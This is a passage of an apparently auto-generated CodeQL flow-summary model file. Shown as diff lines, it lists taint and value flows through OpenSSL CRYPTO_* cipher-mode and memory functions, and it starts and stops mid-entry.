*,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_clear_realloc", "(void *,size_t,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[*6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[*6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ctr128_encrypt_ctr32", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[*0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_dup_ex_data", "(int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_dup_ex_data", "(int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ares]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*len].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*len].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*1]", "Argument[*0].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*len].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*2]", "Argument[*0].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[2]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_init", "(GCM128_CONTEXT *,void *,block128_f)", "", "Argument[**1]", "Argument[*0].Field[***key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_init", "(GCM128_CONTEXT *,void *,block128_f)", "", "Argument[*1]", "Argument[*0].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_init", "(GCM128_CONTEXT *,void *,block128_f)", "", "Argument[1]", "Argument[*0].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_init", "(GCM128_CONTEXT *,void *,block128_f)", "", "Argument[2]", "Argument[*0].Field[*block]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_new", "(void *,block128_f)", "", "Argument[**0]", "ReturnValue[*].Field[***key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_new", "(void *,block128_f)", "", "Argument[*0]", "ReturnValue[*].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_new", "(void *,block128_f)", "", "Argument[0]", "ReturnValue[*].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_new", "(void *,block128_f)", "", "Argument[1]", "ReturnValue[*].Field[*block]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "Argument[*0].Field[*Yi].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Yi].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Yi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Yi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_tag", "(GCM128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_get_ex_data", "(const CRYPTO_EX_DATA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_get_ex_new_index", "(int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[**]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[*0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, 